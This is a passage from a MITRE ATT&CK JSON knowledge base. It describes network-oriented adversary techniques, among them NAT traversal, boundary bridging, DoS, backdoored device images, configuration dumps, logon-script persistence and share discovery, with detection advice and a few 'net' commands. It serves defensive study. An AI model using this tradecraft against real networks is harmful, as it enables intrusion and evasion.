                    "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
                    "source_name": "Demaske Netsh Persistence"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Module: Module Load"
            ],
            "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-10-19T16:48:08.241Z",
            "modified": "2020-10-21T01:45:58.951Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de",
            "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design.  In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities",
            "name": "Network Address Translation Traversal",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1599.001",
                    "url": "https://attack.mitre.org/techniques/T1599/001"
                },
                {
                    "source_name": "RFC1918",
                    "url": "https://tools.ietf.org/html/rfc1918",
                    "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020."
                }
            ],
            "x_mitre_platforms": [
                "Network"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-10-19T16:08:29.817Z",
            "modified": "2020-10-21T01:45:59.246Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
            "description": "Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001).  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",
            "name": "Network Boundary Bridging",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1599",
                    "url": "https://attack.mitre.org/techniques/T1599"
                }
            ],
            "x_mitre_platforms": [
                "Network"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question.  Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended.  Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.",
            "x_mitre_defense_bypassed": [
                "Router ACL",
                "Firewall"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1498",
                    "url": "https://attack.mitre.org/techniques/T1498"
                },
                {
                    "source_name": "FireEye OpPoisonedHandover February 2016",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html",
                    "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019."
                },
                {
                    "source_name": "FSISAC FraudNetDoS September 2012",
                    "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf",
                    "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019."
                },
                {
                    "source_name": "Symantec DDoS October 2014",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf",
                    "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019."
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Denial of Service",
            "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).",
            "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-04-12T18:34:06.995Z",
            "created": "2019-04-17T20:23:15.105Z",
            "x_mitre_contributors": [
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1556.004",
                    "url": "https://attack.mitre.org/techniques/T1556/004"
                },
                {
                    "source_name": "FireEye - Synful Knock",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)",
            "name": "Network Device Authentication",
            "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-04-20T20:11:00.356Z",
            "created": "2020-10-19T17:58:04.155Z",
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",
            "x_mitre_data_sources": [
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Network"
            ]
        },
        {
            "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
            "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)",
            "name": "Network Device CLI",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.008",
                    "url": "https://attack.mitre.org/techniques/T1059/008"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-10-22T16:43:38.388Z",
            "created": "2020-10-20T00:09:33.072Z",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Network"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1602.002",
                    "url": "https://attack.mitre.org/techniques/T1602/002"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Device Configuration Dump",
            "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",
            "id": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-10-22T01:45:55.144Z",
            "created": "2020-10-20T00:08:21.745Z",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018)",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Network"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1037.003",
                    "url": "https://attack.mitre.org/techniques/T1037/003"
                },
                {
                    "source_name": "Petri Logon Script AD",
                    "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008",
                    "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Logon Script",
            "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.  \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
            "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-24T23:45:25.625Z",
            "created": "2020-01-10T18:01:03.666Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "Active Directory: Active Directory Object Modification"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1590.006",
                    "url": "https://attack.mitre.org/techniques/T1590/006"
                },
                {
                    "source_name": "Nmap Firewalls NIDS",
                    "url": "https://nmap.org/book/firewalls.html",
                    "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Security Appliances",
            "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:31:54.275Z",
            "created": "2020-10-02T16:01:35.350Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Service Scanning",
            "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1046",
                    "external_id": "T1046"
                },
                {
                    "external_id": "CAPEC-300",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/300.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-09T14:56:26.562Z",
            "created": "2017-05-31T21:30:43.915Z",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Cloud Service: Cloud Service Enumeration",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a",
            "name": "Network Share Connection Removal",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1126",
                    "url": "https://attack.mitre.org/techniques/T1126"
                },
                {
                    "url": "https://technet.microsoft.com/bb490717.aspx",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "source_name": "Technet Net Use"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T12:39:48.118Z",
            "created": "2017-05-31T21:31:38.350Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1070.005",
                    "url": "https://attack.mitre.org/techniques/T1070/005"
                },
                {
                    "url": "https://technet.microsoft.com/bb490717.aspx",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "source_name": "Technet Net Use"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Share Connection Removal",
            "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)",
            "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-02-09T13:31:01.970Z",
            "created": "2020-01-31T12:39:18.816Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "Established network share connection to a remote system. Level of access depends on permissions of the account used."
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_detection": "Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Content",
                "User Account: User Account Authentication"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Network Share Discovery",
            "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1135",
                    "url": "https://attack.mitre.org/techniques/T1135"
                },
                {
                    "external_id": "CAPEC-643",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/643.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Shared_resource",
                    "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.",
                    "source_name": "Wikipedia Shared Resource"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc770880.aspx",
                    "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.",
                    "source_name": "TechNet Shared Folder"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-12-29T19:07:11.154Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_version": "3.0"
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1040",
